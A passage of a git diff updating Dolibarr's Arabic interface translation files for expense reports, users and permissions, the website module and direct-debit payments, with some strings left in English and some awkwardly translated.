      Click here to show the expense report: %s -TripId=تقرير حساب الهوية -AnyOtherInThisListCanValidate=Person to be informed for validating the request. -TripSociete=شركة المعلومات -TripNDF=المعلومات تقرير حساب -PDFStandardExpenseReports=قالب قياسي لتوليد وثيقة PDF لتقرير حساب -ExpenseReportLine=خط تقرير حساب -TF_OTHER=أخرى -TF_TRIP=وسائل النقل -TF_LUNCH=غداء -TF_METRO=مترو -TF_TRAIN=قطار -TF_BUS=حافلة -TF_CAR=سيارة -TF_PEAGE=رسوم -TF_ESSENCE=وقود -TF_HOTEL=الفندق -TF_TAXI=سيارة اجره -EX_KME=Mileage costs -EX_FUE=Fuel CV -EX_HOT=الفندق -EX_PAR=Parking CV -EX_TOL=Toll CV -EX_TAX=Various Taxes -EX_IND=Indemnity transportation subscription -EX_SUM=Maintenance supply -EX_SUO=Office supplies -EX_CAR=Car rental -EX_DOC=Documentation -EX_CUR=Customers receiving -EX_OTR=Other receiving -EX_POS=Postage -EX_CAM=CV maintenance and repair -EX_EMM=Employees meal -EX_GUM=Guests meal -EX_BRE=Breakfast -EX_FUE_VP=Fuel PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parking PV -EX_CAM_VP=PV maintenance and repair -DefaultCategoryCar=Default transportation mode -DefaultRangeNumber=Default range number -UploadANewFileNow=Upload a new document now -Error_EXPENSEREPORT_ADDON_NotDefined=Error, the rule for expense report numbering ref was not defined into setup of module 'Expense Report' -ErrorDoubleDeclaration=لقد أعلن تقرير حساب آخر في نطاق تاريخ مماثل. -AucuneLigne=لا يوجد تقرير مصروفات تعلن بعد -ModePaiement=طريقة الدفع +TypeFees=أنواع الرسوم +UploadANewFileNow=قم بتحميل مستند جديد الآن VALIDATOR=العضو المسؤول عن الموافقة VALIDOR=التي وافقت عليها -AUTHOR=تم تسجيلها عن طريق -AUTHORPAIEMENT=يتحملها -REFUSEUR=نفتها -CANCEL_USER=حذف من قبل -MOTIF_REFUS=سبب -MOTIF_CANCEL=سبب -DATE_REFUS=تاريخ ينكر -DATE_SAVE=تاريخ التحقق من الصحة -DATE_CANCEL=تاريخ الإلغاء -DATE_PAIEMENT=تاريخ الدفع -ExpenseReportRef=Ref. expense report ValidateAndSubmit=التحقق من صحة ويقدم للموافقة عليها ValidatedWaitingApproval=التحقق من صحة (في انتظار الموافقة) -NOT_AUTHOR=أنت لست صاحب هذا التقرير حساب. إلغاء العملية. -ConfirmRefuseTrip=Are you sure you want to deny this expense report? ValideTrip=الموافقة على تقرير النفقات -ConfirmValideTrip=Are you sure you want to approve this expense report? -PaidTrip=دفع تقرير مصروفات -ConfirmPaidTrip=Are you sure you want to change status of this expense report to "Paid"? -ConfirmCancelTrip=Are you sure you want to cancel this expense report? -BrouillonnerTrip=الرجوع تقرير نفقة لوضع "مسودة" -ConfirmBrouillonnerTrip=Are you sure you want to move this expense report to status "Draft"? -SaveTrip=التحقق من صحة التقرير حساب -ConfirmSaveTrip=Are you sure you want to validate this expense report? -NoTripsToExportCSV=أي تقرير نفقة لتصدير لهذه الفترة. -ExpenseReportPayment=دفع تقرير حساب -ExpenseReportsToApprove=Expense reports to approve -ExpenseReportsToPay=تقارير النفقات لدفع -ConfirmCloneExpenseReport=Are you sure you want to clone this expense report ? -ExpenseReportsIk=Configuration of mileage charges -ExpenseReportsRules=Expense report rules -ExpenseReportIkDesc=You can modify the calculation of kilometers expense by category and range who they are previously defined. d is the distance in kilometers -ExpenseReportRulesDesc=You can define max amount rules for expense reports. These rules will be applied when a new expense is added to an expense report -expenseReportOffset=ويقابل -expenseReportCoef=Coefficient -expenseReportTotalForFive=Example with d = 5 -expenseReportRangeFromTo=from %d to %d -expenseReportRangeMoreThan=more than %d -expenseReportCoefUndefined=(value not defined) -expenseReportCatDisabled=Category disabled - see the c_exp_tax_cat dictionary -expenseReportRangeDisabled=Range disabled - see the c_exp_tax_range dictionay -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Apply to -ExpenseReportDomain=Domain to apply -ExpenseReportLimitOn=Limit on -ExpenseReportDateStart=تاريخ بداية -ExpenseReportDateEnd=تاريخ انتهاء -ExpenseReportLimitAmount=Max amount -ExpenseReportRestrictive=Exceeding forbidden -AllExpenseReport=All type of expense report -OnExpense=Expense line -ExpenseReportRuleSave=Expense report rule saved -ExpenseReportRuleErrorOnSave=Error: %s -RangeNum=Range %d -ExpenseReportConstraintViolationError=Max amount exceeded (rule %s): %s is higher than %s (Exceeding forbidden) -byEX_DAY=by day (limitation to %s) -byEX_MON=by month (limitation to %s) -byEX_YEA=by year (limitation to %s) -byEX_EXP=by line (limitation to %s) -ExpenseReportConstraintViolationWarning=Max amount exceeded (rule %s): %s is higher than %s (Exceeding authorized) -nolimitbyEX_DAY=by day (no limitation) -nolimitbyEX_MON=by month (no limitation) -nolimitbyEX_YEA=by year (no limitation) -nolimitbyEX_EXP=by line (no limitation) -CarCategory=Vehicle category -ExpenseRangeOffset=Offset amount: %s -RangeIk=Mileage range -AttachTheNewLineToTheDocument=Attach the line to an uploaded document + +## Dictionary +EX_BRE=إفطار +EX_CAM=صيانة وإصلاح السيرة الذاتية +EX_CAM_VP=صيانة وإصلاح الكهروضوئية +EX_CAR=تاجير سيارة +EX_CUR=استقبال العملاء +EX_DOC=توثيق +EX_EMM=وجبة الموظفين +EX_FUE=السيرة الذاتية للوقود +EX_FUE_VP=الوقود الكهروضوئية +EX_GUM=وجبة الضيوف +EX_HOT=الفندق +EX_IND=إشتراك تعويض النقل +EX_KME=تكاليف الأميال +EX_OTR=استلام أخرى +EX_PAR=السيرة الذاتية لوقوف السيارات +EX_PAR_VP=وقوف السيارات PV +EX_POS=رسوم البريد +EX_SUM=توريد الصيانة +EX_SUO=اللوازم المكتبية +EX_TAX=ضرائب مختلفة +EX_TOL=السيرة الذاتية +EX_TOL_VP=Toll PV +TF_BUS=حافلة +TF_CAR=سيارة +TF_ESSENCE=وقود +TF_HOTEL=الفندق +TF_LUNCH=غداء +TF_METRO=مترو +TF_OTHER=أخرى +TF_PEAGE=رسوم +TF_TAXI=سيارة اجره +TF_TRAIN=قطار +TF_TRIP=وسائل النقل diff --git a/htdocs/langs/ar_SA/users.lang b/htdocs/langs/ar_SA/users.lang index 51f1679a4cf..742d573c6f3 100644 --- a/htdocs/langs/ar_SA/users.lang +++ b/htdocs/langs/ar_SA/users.lang @@ -6,14 +6,14 @@ Permission=إذن Permissions=أذونات EditPassword=تعديل كلمة السر SendNewPassword=تجديد وإرسال كلمة السر -SendNewPasswordLink=Send link to reset password +SendNewPasswordLink=أرسل رابطًا لإعادة تعيين كلمة المرور ReinitPassword=تجديد كلمة المرور PasswordChangedTo=تغيير كلمة السر : ٪ ق -SubjectNewPassword=Your new password for %s +SubjectNewPassword=كلمة مرورك الجديدة لـ %s GroupRights=مجموعة الاذونات UserRights=أذونات المستخدم -Credentials=Credentials -UserGUISetup=User Display Setup +Credentials=أوراق اعتماد +UserGUISetup=إعداد عرض المستخدم DisableUser=يعطل DisableAUser=تعطيل المستخدم DeleteUser=حذف @@ -21,12 +21,12 @@ DeleteAUser=حذف المستخدم EnableAUser=وتمكن المستخدم DeleteGroup=حذف DeleteAGroup=حذف مجموعة -ConfirmDisableUser=Are you sure you want to disable user %s? -ConfirmDeleteUser=Are you sure you want to delete user %s? -ConfirmDeleteGroup=Are you sure you want to delete group %s? -ConfirmEnableUser=Are you sure you want to enable user %s? -ConfirmReinitPassword=Are you sure you want to generate a new password for user %s? -ConfirmSendNewPassword=Are you sure you want to generate and send new password for user %s? +ConfirmDisableUser=هل أنت متأكد من أنك تريد تعطيل المستخدم %s ؟ +ConfirmDeleteUser=هل أنت متأكد من أنك تريد حذف المستخدم %s ؟ +ConfirmDeleteGroup=هل أنت متأكد من أنك تريد حذف المجموعة %s ؟ +ConfirmEnableUser=هل أنت متأكد من أنك تريد تمكين المستخدم %s ؟ +ConfirmReinitPassword=هل أنت متأكد أنك تريد إنشاء كلمة مرور جديدة للمستخدم %s ؟ +ConfirmSendNewPassword=هل أنت متأكد أنك تريد إنشاء وإرسال كلمة مرور جديدة للمستخدم %s ؟ NewUser=مستخدم جديد CreateUser=إنشاء مستخدم LoginNotDefined=ادخل ليست محددة. @@ -35,8 +35,8 @@ ListOfUsers=قائمة المستخدمين SuperAdministrator=مدير السوبر SuperAdministratorDesc=مدير كل الحقوق AdministratorDesc=مدير -DefaultRights=Default Permissions -DefaultRightsDesc=Define here the default permissions that are automatically granted to a new user (to modify permissions for existing users, go to the user card). +DefaultRights=الأذونات الافتراضية +DefaultRightsDesc=حدد هنا أذونات الافتراضية التي يتم منحها تلقائيًا لمستخدم الجديد (لتعديل الأذونات للمستخدمين الحاليين ، انتقل إلى بطاقة المستخدم). DolibarrUsers=Dolibarr المستخدمين LastName=اللقب FirstName=الاسم الأول @@ -45,14 +45,14 @@ NewGroup=مجموعة جديدة CreateGroup=إنشاء مجموعة RemoveFromGroup=إزالة من المجموعة PasswordChangedAndSentTo=تم تغيير كلمة المرور وترسل إلى ٪ ق. -PasswordChangeRequest=Request to change password for %s +PasswordChangeRequest=طلب تغيير كلمة المرور لـ %s PasswordChangeRequestSent=طلب تغيير كلمة السر لإرسالها إلى ٪ ق ٪ ق. -IfLoginExistPasswordRequestSent=If this login is a valid account, an email to reset password has been sent. -IfEmailExistPasswordRequestSent=If this email is a valid account, an email to reset password has been sent. -ConfirmPasswordReset=Confirm password reset +IfLoginExistPasswordRequestSent=If this login is a valid account (with a valid email), an email to reset password has been sent. +IfEmailExistPasswordRequestSent=إذا كان هذا البريد الإلكتروني حسابًا صالحًا ، فقد تم إرسال بريد إلكتروني لإعادة تعيين كلمة المرور. +ConfirmPasswordReset=تأكيد إعادة تعيين كلمة المرور MenuUsersAndGroups=مجموعات المستخدمين -LastGroupsCreated=Latest %s groups created -LastUsersCreated=Latest %s users created +LastGroupsCreated=تم إنشاء أحدث مجموعات %s +LastUsersCreated=أحدث إصدار من المستخدمين في %s ShowGroup=وتبين لفريق ShowUser=وتظهر للمستخدم NonAffectedUsers=غير المتأثرة المستخدمين @@ -62,27 +62,27 @@ ListOfUsersInGroup=قائمة المستخدمين في هذه المجموعة ListOfGroupsForUser=قائمة الجماعات لهذا المستخدم LinkToCompanyContact=ربط طرف ثالث / اتصالات LinkedToDolibarrMember=وصلة عضو -LinkedToDolibarrUser=Link to user -LinkedToDolibarrThirdParty=Link to third party +LinkedToDolibarrUser=ارتباط بالمستخدم +LinkedToDolibarrThirdParty=رابط لطرف ثالث CreateDolibarrLogin=انشاء مستخدم CreateDolibarrThirdParty=إيجاد طرف ثالث -LoginAccountDisableInDolibarr=في حساب المعاقين Dolibarr. +LoginAccountDisableInDolibarr=Account disabled in Dolibarr +PASSWORDInDolibarr=Password modified in Dolibarr UsePersonalValue=استخدام الشخصي قيمة -InternalUser=المستخدم الداخلي -ExportDataset_user_1=Users and their properties +ExportDataset_user_1=المستخدمون وخصائصهم DomainUser=النطاق المستخدم ق ٪ Reactivate=تنشيط -CreateInternalUserDesc=This form allows you to create an internal user in your company/organization. To create an external user (customer, vendor etc. ..), use the button 'Create Dolibarr User' from that third-party's contact card. -InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. +CreateInternalUserDesc=يسمح لك هذا النموذج بإنشاء مستخدم داخلي في شركتك / مؤسستك. لإنشاء مستخدم خارجي (عميل ، بائع ، إلخ ..) ، استخدم الزر "إنشاء مستخدم Dolibarr" من بطاقة جهة الاتصال الخاصة بهذه الجهة الخارجية. +InternalExternalDesc=مستخدم داخلي هو مستخدم جزء من شركتك / مؤسستك ، أو مستخدم شريك خارج مؤسستك قد يحتاج إلى رؤية بيانات أكثر من البيانات المتعلقة بشركته (سيحدد نظام الأذونات ما يمكنه أو يمكنه لا أرى أو أفعل).
      المستخدم الخارجي هو عميل أو بائع أو غيره يجب عليه عرض البيانات المتعلقة به فقط (يمكن إنشاء مستخدم خارجي لطرف ثالث من سجل جهة الاتصال الخاص بالطرف الثالث).

      في كلتا الحالتين ، يجب عليك منح أذونات على الميزات التي يحتاجها المستخدم. PermissionInheritedFromAGroup=منح إذن لأن الموروث من واحد من المستخدم. Inherited=موروث -UserWillBe=Created user will be +UserWillBe=سيكون المستخدم الذي تم إنشاؤه UserWillBeInternalUser=وسوف يكون المستخدم إنشاء مستخدم داخلية (لأنه لا يرتبط طرف ثالث خاص) UserWillBeExternalUser=وسوف يكون المستخدم إنشاء مستخدم خارجي (لأنه مرتبط إلى طرف ثالث خاص) IdPhoneCaller=رقم تعريف الهاتف المتصل NewUserCreated=مستخدم ٪ ق إنشاء NewUserPassword=لتغيير كلمة المرور ل ٪ -NewPasswordValidated=Your new password have been validated and must be used now to login. +NewPasswordValidated=تم التحقق من صحة كلمة المرور الجديدة الخاصة بك ويجب استخدامها الآن لتسجيل الدخول. EventUserModified=مستخدم تعديل ق ٪ UserDisabled=مستخدم ٪ ق المعوقين UserEnabled=مستخدم ٪ ق تفعيلها @@ -90,37 +90,46 @@ UserDeleted=ق إزالة المستخدم ٪ NewGroupCreated=أنشأت مجموعة ق ٪ GroupModified=المجموعة٪ الصورة المعدلة GroupDeleted=فريق ازالة ق ٪ -ConfirmCreateContact=Are you sure you want to create a Dolibarr account for this contact? -ConfirmCreateLogin=Are you sure you want to create a Dolibarr account for this member? -ConfirmCreateThirdParty=Are you sure you want to create a third party for this member? +ConfirmCreateContact=هل أنت متأكد أنك تريد إنشاء حساب Dolibarr لجهة الاتصال هذه؟ +ConfirmCreateLogin=هل أنت متأكد أنك تريد إنشاء حساب Dolibarr لهذا العضو؟ +ConfirmCreateThirdParty=هل أنت متأكد أنك تريد إنشاء طرف ثالث لهذا العضو؟ LoginToCreate=ادخل لخلق NameToCreate=اسم طرف ثالث لخلق YourRole=الأدوار الخاص YourQuotaOfUsersIsReached=يتم التوصل إلى حصة الخاص بك من المستخدمين النشطين! -NbOfUsers=Number of users -NbOfPermissions=Number of permissions +NbOfUsers=عدد المستخدمين +NbOfPermissions=عدد الأذونات DontDowngradeSuperAdmin=يمكن فقط superadmin تقليله a superadmin HierarchicalResponsible=المشرف HierarchicView=الهرمي UseTypeFieldToChange=استخدام نوع الحقل لتغيير OpenIDURL=URL هوية OpenID LoginUsingOpenID=استخدام هوية OpenID للدخول -WeeklyHours=Hours worked (per week) -ExpectedWorkedHours=Expected hours worked per week +WeeklyHours=ساعات العمل (في الأسبوع) +ExpectedWorkedHours=ساعات العمل المتوقعة في الأسبوع ColorUser=اللون المستخدم -DisabledInMonoUserMode=Disabled in maintenance mode -UserAccountancyCode=User accounting code -UserLogoff=User logout -UserLogged=User logged -DateOfEmployment=Employment date -DateEmployment=Employment -DateEmploymentstart=Employment Start Date -DateEmploymentEnd=Employment End Date -RangeOfLoginValidity=Access validity date range -CantDisableYourself=You can't disable your own user record -ForceUserExpenseValidator=Force expense report validator -ForceUserHolidayValidator=Force leave request validator -ValidatorIsSupervisorByDefault=By default, the validator is the supervisor of the user. Keep empty to keep this behaviour. -UserPersonalEmail=Personal email -UserPersonalMobile=Personal mobile phone -WarningNotLangOfInterface=Warning, this is the main language the user speak, not the language of the interface he choosed to see. To change the interface language visible by this user, go on tab %s +DisabledInMonoUserMode=معطل في وضع الصيانة +UserAccountancyCode=كود محاسبة المستخدم +UserLogoff=خروج المستخدم +UserLogged=قام المستخدم بتسجيل الدخول +DateOfEmployment=تاريخ التوظيف +DateEmployment=توظيف +DateEmploymentStart=تاريخ بدء التوظيف +DateEmploymentEnd=تاريخ انتهاء التوظيف +RangeOfLoginValidity=نطاق تاريخ صلاحية الوصول +CantDisableYourself=لا يمكنك تعطيل سجل المستخدم الخاص بك +ForceUserExpenseValidator=فرض مصدق تقرير المصروفات +ForceUserHolidayValidator=مدقق طلب الإجازة الإجباري +ValidatorIsSupervisorByDefault=بشكل افتراضي ، المدقق هو المشرف على المستخدم. ابق فارغة للحفاظ على هذا السلوك. +UserPersonalEmail=البريد الإلكتروني الشخصي +UserPersonalMobile=الهاتف المحمول الشخصي +WarningNotLangOfInterface=تحذير ، هذه هي اللغة الرئيسية التي يتحدثها المستخدم ، وليست لغة الواجهة التي اختار أن يراها. لتغيير لغة الواجهة المرئية بواسطة هذا المستخدم ، انتقل إلى علامة التبويب %s +DateLastLogin=تاريخ آخر تسجيل دخول +DatePreviousLogin=تاريخ تسجيل الدخول السابق +IPLastLogin=آخر تسجيل دخول إلى IP +IPPreviousLogin=تسجيل الدخول السابق إلى IP +ShowAllPerms=Show all permission rows +HideAllPerms=Hide all permission rows +UserPublicPageDesc=You can enable a virtual card for this user. An url with the user profile and a barcode will be available to allow anybody with a smartphone to scan it and add your contact to its address book. +EnablePublicVirtualCard=Enable the public virtual user card +PublicVirtualCardUrl=Public virtual user card diff --git a/htdocs/langs/ar_SA/website.lang b/htdocs/langs/ar_SA/website.lang index 79ed8803b26..31c1d344e7a 100644 --- a/htdocs/langs/ar_SA/website.lang +++ b/htdocs/langs/ar_SA/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=نص مرمز +WebsiteName=Name of the website WebsiteSetupDesc=قم بإنشاء الموقع الالكتروني الذي ترغب باستخدامه ثم اذهب الى القائمة المواقع الإلكترونية لتعديلها DeleteWebsite=حذف الموقع الإلكتروني ConfirmDeleteWebsite=هل انت متأكد من رغبتك بحذف هذا الموقع الإلكتروني ؟ سيتم حذف جميع الصفحات والمحتويات ايضا. الملفات المحملة (كما في المسار الاستديو و وحدة وإدارة المحتوى الرقمي) ستبقى دون حذف. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=ترويسات لغة ترميز النصوص التشعبي WEBSITE_ROBOT=محتوى ملف الروبوتات النصي WEBSITE_HTACCESS=محتوى ملف ضبط الوصول WEBSITE_MANIFEST_JSON=ملف قوائم جسون للموقع -WEBSITE_README=ملف إقرأني الوصفي WEBSITE_KEYWORDSDesc=إستخدم الشولة لفصل القيم -EnterHereLicenseInformation=أدخل هنا المعلومات الوصفية او معلومات الترخيص لملئ محتوى ملف إقرأني الوصفي . إذا قمت بتوزيع موقعك كقالب ، سيتم تصمين الملف في الحزمة. +EnterHereReadmeInformation=Enter here a description of the website. If you distribute your website as a template, the file will be included into the temptate package. +EnterHereLicenseInformation=Enter here the LICENSE of the code of the website. If you distribute your website as a template, the file will be included into the temptate package. HtmlHeaderPage=ترويسات لغة ترميز النصوص التشعبية (لهذه الصفحة فقظ) PageNameAliasHelp=اسم او لقب الصفحة.
      هذا يستخدم ايضا لانشاء رابط تسريع محركات البحث عندما يتم تشغيل الموقع عبر خادم إستضافة افتراضي (مثل اباتشي او انجنكس..) إستخدم الزر "%s" لتعديل هذا الاسم او اللقب. EditTheWebSiteForACommonHeader=ملاحظة: اذا كنت ترغب في تعيين ترويسة لكل الصفحات إستخدم الترويسات على مستوى الموقع بدلا عن ترويسات الصفحة\\الحاوية @@ -31,7 +32,7 @@ AddWebsite=إضافة موقع إلكتروني Webpage=الصفحة\\الحاوية AddPage=إضافة صفحة\\حاوية PageContainer=صفحة -PreviewOfSiteNotYetAvailable=The preview of your website %s is not yet available. You must first 'Import a full website template' or just 'Add a page/container'. +PreviewOfSiteNotYetAvailable=معاينة موقع الويب الخاص بك %s ليست متاحة بعد. يجب عليك أولاً ' استيراد قالب موقع ويب كامل ' أو ' فقط إضافة صفحة / حاوية '. RequestedPageHasNoContentYet=الصفحة المطلوبة بالمعرف %s لاتحتوي بعد على محتوى ، او ان ملف القالب الخاص بها قد تم حذفه. قم بتعديل محتويات الصفحة لحل ذلك SiteDeleted= الموقع "%s" تم حذهف PageContent=الصفحة\\الحاوية @@ -42,10 +43,12 @@ ViewPageInNewTab=عرض الصفحة في علامة تبويب جديدة SetAsHomePage=إجعلها الصفحة الرئيسية RealURL=الرابط الحقيقة ViewWebsiteInProduction=عرض الموقع باستخدام رابط الصفحة الرئيسية +Virtualhost=Virtual host or domain name +VirtualhostDesc=The name of the Virtual host or domain (For example: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=بإستخدام اباتشي \\انجنكس\\...
      على خادمك (اباتشي او انجنكس..) قم بإنشاء خادم افتراضي يدعم البي اتش بي واجعل المسار الجذر له
      %s ExampleToUseInApacheVirtualHostConfig=مثال إعدادات لاستخدامه مع خادم اباتشي افتراضي YouCanAlsoTestWithPHPS=لاستخدام خادم بي اتش بي المضمن
      على بيئة التطوير ربما تفضل تجربة موقعك بخادم بي اتش بي المضمن (النسخة 5.5 فما فوق) عبر تشغيل
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=انشر موقعك الإلكتروني مع مقدم إستضافة اخر
      إذا كنت لا تمتلك خادم مواقع مثل اباتشي او انجنكس على الأنترنت، يمكنك تصدير وإستيراد الى نظام دوليبار اخر المقدم بواسطة مقدم استضافة دوليبار والذي يوفر تكامل مكتمل مع وحدة الموقع الإلكتروني. يمكنك ايجاد قائمة من مقدمين إستضافة دوليبار على موقع إستضافات دوليبار +YouCanAlsoDeployToAnotherWHP= قم بتشغيل موقع الويب الخاص بك مع مزود استضافة Dolibarr آخر
      إذا لم يكن لديك خادم ويب مثل Apache أو NGinx متاحًا على الإنترنت ، فيمكنك تصدير واستيراد موقع الويب الخاص بك إلى مثيل Dolibarr آخر يوفره مزود استضافة Dolibarr آخر يوفره بالكامل التكامل مع وحدة موقع الويب. يمكنك العثور على قائمة ببعض موفري خدمة استضافة Dolibarr على https://saas.dolibarr.org CheckVirtualHostPerms=ايضاً تأكد من ان مستخدم الخادم (مثلا www-data ) لديه صلاحيات %s على الملفات
      %s ReadPerm=قرأ WritePerm=التعديل والكتابة @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=يمكن تحرير مصدر لغة ترميز ا YouCanEditHtmlSource=
      يمكنك تضمين نصوص بي اتش بي بإستخدام أوسمة >?php?<. و المتغيرات العامة التالية متاحة : $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      يمكنك ايضا تضمين محتوى صفحة \\حاوية اخرى عن طريق تركيب الجملة التالي
      <?php includeContainer('لقب_الصفحة_المطلوبة'); ?>

      يمكنك إعادة التوجيه الى صفحة \\حاوية اخرى عن طريق تركيب الجملة التالي (ملاحظة لاتقم باي طباعة لمخرجات قبل عملية إعادة التوجهي ) :
      <?php redirectToContainer('لقب_الصفحة_المطلوبة'); ?>

      لإضافة رابط رابط صفحة اخرى يمكنك إستخدام تركيب الجملة التالي :
      <a href="لقب_الصفحة_المطلوبة.php">mylink<a>

      لتضمين رابط لتحميل ملف موجود ضمن مسار المستندات إستخدم المغلف document.php:
      على سبيل المثال لمف موجود على المسار /documents/ecm (يجب تسجيل الدخول اولاً) إستخدم تركيب الجملة التالي :
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      ولملف في المسار documents/medias (مسار مفتوح الوصول للجميع) إستخدم تركيب الجملة التالي:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      للمفات المشاركة بواسطة رابط المشاركة (وصول مفتوح بإستخدام مفتاح رمز دالة الملف ) إستخدم تركيب الجملة التالي:
      <a href="/document.php?hashp=publicsharekeyoffile">

      لتضمين صورة مخزنة في مسار المستندات إستخدم المغلف viewimage.php:
      على سبيل المثال لتضمين صورة موجودة في المسار documents/medias (مسار مفتوح الوصول للعامة)، إستخدم تركيب الجملة التالي:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=لتضمين صورة مشاركة عن طريق رابط المشاركة (وصول عام باستخدام رمز دالة الملف) إستخدم تركيب الجملة التالي:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      امثلة اكثر للغة ترميز النصوص التشعبية متاحة على مدونة التوثيق
      +YouCanEditHtmlSourceMore=
      يتوفر المزيد من أمثلة HTML أو التعليمات البرمجية الديناميكية على وثائق wiki
      . ClonePage=نسخ الصفحة\\الحاوية CloneSite=نسخ الموقع SiteAdded=تم إضافة الموقع الإلكتروني @@ -137,7 +140,7 @@ PagesRegenerated=تم توليد %s صفحة\\حاوية RegenerateWebsiteContent=إعادة توليد ملفات الموقع الإلكترونية المؤقتة AllowedInFrames=مسموح بها في الإطارات DefineListOfAltLanguagesInWebsiteProperties=عرف قائمة بكل اللغات المتاحة في خصائص الموقع -GenerateSitemaps=توليد ملف خريطة الموقع +GenerateSitemaps=Generate website sitemap.xml file ConfirmGenerateSitemaps=إذا اكدت ، ستقوم بحذف ملف خرطة الموقع الحالي... ConfirmSitemapsCreation=تأكيد توليد خريطة الموقع SitemapGenerated=تم توليد ملف خريطة الموقع %s @@ -145,3 +148,10 @@ ImportFavicon=الايقونة ErrorFaviconType=الأيقونة لابد ان تكون بي ان جي ErrorFaviconSize=لابد ان يكون حجم الأيقونة 16x16 ، 32x32 او 64x64 FaviconTooltip=رفع صورة بي ان جي (16x16،32x32 او 64x64) +NextContainer=Next page/container +PreviousContainer=Previous page/container +WebsiteMustBeDisabled=The website must have the status "%s" +WebpageMustBeDisabled=The web page must have the status "%s" +SetWebsiteOnlineBefore=When website is offline, all pages are offline. Change status of website first. +Booking=Booking +Reservation=Reservation diff --git a/htdocs/langs/ar_SA/withdrawals.lang b/htdocs/langs/ar_SA/withdrawals.lang index 4b9a548c683..c19c1738bee 100644 --- a/htdocs/langs/ar_SA/withdrawals.lang +++ b/htdocs/langs/ar_SA/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=فاتورة المورد بانتظار الدف InvoiceWaitingWithdraw=فاتورة بانتظار الخصم المباشر InvoiceWaitingPaymentByBankTransfer=فاتورة بانتظار تحويل الرصيد AmountToWithdraw=سحب المبلغ +AmountToTransfer=المبلغ لنقل NoInvoiceToWithdraw=لا توجد فاتورة مفتوحة لـ "%s" في الانتظار. انتقل إلى علامة التبويب "%s" في بطاقة الفاتورة لتقديم طلب. -NoSupplierInvoiceToWithdraw=لا توجد فاتورة مورد مع "طلبات ائتمان مباشرة" مفتوحة في انتظارك. انتقل إلى علامة التبويب "%s" في بطاقة الفاتورة لتقديم طلب. +NoSupplierInvoiceToWithdraw=No supplier invoice with open '%s' is waiting. Go on tab '%s' on invoice card to make a request. ResponsibleUser=المستخدم المسؤول WithdrawalsSetup=إعداد دفع الخصم المباشر CreditTransferSetup=إعداد تحويل الرصيد @@ -41,6 +42,7 @@ CreditTransferStatistics=إحصاءات تحويل الائتمان Rejects=ترفض LastWithdrawalReceipt=أحدث %s إيصالات الخصم المباشر MakeWithdrawRequest=تقديم طلب دفع الخصم المباشر +MakeWithdrawRequestStripe=Make a direct debit payment request via Stripe MakeBankTransferOrder=قدم طلب تحويل رصيد WithdrawRequestsDone=%s تم تسجيل طلبات الدفع بالخصم المباشر BankTransferRequestsDone=%s تم تسجيل طلبات تحويل الرصيد @@ -48,7 +50,7 @@ ThirdPartyBankCode=كود بنك الطرف الثالث NoInvoiceCouldBeWithdrawed=لم يتم الخصم من فاتورة بنجاح. تحقق من أن الفواتير موجودة في الشركات التي لديها رقم IBAN صالح وأن IBAN يحتوي على UMR (مرجع تفويض فريد) بالوضع %s . WithdrawalCantBeCreditedTwice=تم بالفعل تمييز إيصال السحب هذا على أنه مدين ؛ لا يمكن القيام بذلك مرتين ، حيث من المحتمل أن يؤدي ذلك إلى إنشاء مدفوعات وإدخالات بنكية مكررة. ClassCredited=تصنيف حساب -ClassDebited=Classify debited +ClassDebited=تصنيف الخصم ClassCreditedConfirm=هل أنت متأكد من أنك تريد تصنيف إيصال السحب هذا على أنه مقيد في حسابك المصرفي؟ TransData=تاريخ الإرسال TransMetod=طريقة الإرسال @@ -99,8 +101,11 @@ CreditDate=الائتمان على WithdrawalFileNotCapable=تعذر إنشاء ملف إيصال السحب لبلدك %s (بلدك غير مدعوم) ShowWithdraw=عرض أمر الخصم المباشر IfInvoiceNeedOnWithdrawPaymentWontBeClosed=ومع ذلك ، إذا كانت الفاتورة تحتوي على أمر دفع خصم مباشر واحد على الأقل لم تتم معالجته بعد ، فلن يتم تعيينها على أنها مدفوعة للسماح بإدارة السحب المسبق. -DoStandingOrdersBeforePayments=تتيح لك علامة التبويب هذه طلب أمر دفع الخصم المباشر. بمجرد الانتهاء من ذلك ، انتقل إلى القائمة بنك-> الدفع عن طريق الخصم المباشر لإنشاء أمر الخصم المباشر وإدارته. عند إغلاق أمر الخصم المباشر ، سيتم تسجيل الدفع على الفواتير تلقائيًا ، وإغلاق الفواتير إذا كان الباقي للدفع فارغًا. -DoCreditTransferBeforePayments=تتيح لك علامة التبويب هذه طلب أمر تحويل رصيد. بمجرد الانتهاء من ذلك ، انتقل إلى القائمة بنك-> الدفع عن طريق تحويل الرصيد لإنشاء أمر تحويل الرصيد وإدارته. عند إغلاق أمر تحويل الرصيد ، سيتم تسجيل الدفع على الفواتير تلقائيًا ، وإغلاق الفواتير إذا كان الباقي للدفع فارغًا. +DoStandingOrdersBeforePayments=This tab allows you to request a direct debit payment order. Once done, you can go into menu "Bank->Payment by direct debit" to generate and manage a Direct debit order file. +DoStandingOrdersBeforePayments2=You can also send a request directly to a SEPA payment processor like Stripe, ... +DoStandingOrdersBeforePayments3=When direct debit order is closed, payment on invoices will be automatically recorded, and invoices closed if remainder to pay is null. +DoCreditTransferBeforePayments=This tab allows you to request a credit transfer order. Once done, go into menu "Bank->Payment 